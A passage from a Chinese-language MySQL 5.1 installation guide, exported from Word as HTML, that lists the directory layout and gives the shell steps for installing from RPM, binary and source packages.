<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>bin(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">客户端程序和</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysqld</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">服务器</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>data(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">日志文件和数据库</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>docs(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文档和</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>changeLog)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>include(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">包含</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">头</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>lib(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">库文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>scripts(mysql_install_db</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">脚本用来安装系统数据库</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>share/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">错误消息文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>sql-bench(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">基准程序</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 106.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=142>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>$basedir</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">为安装目录</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>bin(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">客户端程序和脚本</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>include/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">包含</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">头</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>info(Info</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">格式的文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>lib/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">库文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>libexec(mysql</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">服务器</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>share/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">错误消息文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>sql-bench(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">基准程序和</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>crash-me</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">测试</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>var(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">数据库和日志文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P></TD></TR></TBODY></TABLE>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>2,</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">三种安装包的安装</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>2.1,</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装</SPAN><SPAN lang=EN-US><FONT face=Calibri>RPM</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">包</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>rpm –ivh MySQL-server-community-5.1.49-1.rhel5.i386.rpm<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>rpm –ivh MySQL-client-community-5.1.49-1.rhel5.i386.rpm<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>2.2,</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装二进制包</SPAN><SPAN lang=EN-US><FONT face=Calibri>(</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装目录</SPAN><SPAN lang=EN-US><FONT face=Calibri>/usr/local)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>a)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">增加组</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>groupadd mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>useradd -g mysql mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>b)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">解压安装包</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>tar -zxf mysql-5.1.48-linux-i686-glibc23.tar.gz<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>cp -r mysql-5.1.48-linux-i686 /usr/local/mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>cp /usr/local/mysql/support-files/my-medium.cnf /etc/my.cnf<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>cd /usr/local/mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>c)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">创建系统数据库和系统表</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>scripts/mysql_install_db –user=mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>d)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">设置目录权限</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>chown –R root:mysql .<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>chown –R mysql:mysql data<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>e)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">启动</SPAN><SPAN lang=EN-US><FONT face=Calibri>Mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>bin/mysqld_safe –user=mysql &amp;<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>2.3,</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装源码包</SPAN><SPAN lang=EN-US><FONT face=Calibri>(</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装目录</SPAN><SPAN lang=EN-US><FONT face=Calibri>/usr/local)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>a)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">增加组</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>groupadd mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>useradd -g mysql mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>b)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">解压安装包</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>tar -zxf mysql-5.1.49.tar.gz<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>cd mysql-5.1.49<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>c)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">编译源码并安装，编译参数可以用</SPAN><SPAN lang=EN-US><FONT face=Calibri> configure –help</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">查看</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –prefix=/usr/local/mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>make &amp; make install<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>d)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">配置</SPAN><SPAN lang=EN-US><FONT face=Calibri>mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">的参数文件</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">如果已经安装了一个</SPAN><SPAN lang=EN-US><FONT face=Calibri>mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，并且原来的配置文件放在</SPAN><SPAN lang=EN-US><FONT face=Calibri>/etc/</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">目录下，当安装第二个</SPAN><SPAN lang=EN-US><FONT face=Calibri>mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">的时候可以放到新的</SPAN><SPAN lang=EN-US><FONT face=Calibri>Mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">安装目录下，通过配置</SPAN><SPAN lang=EN-US><FONT face=Calibri> 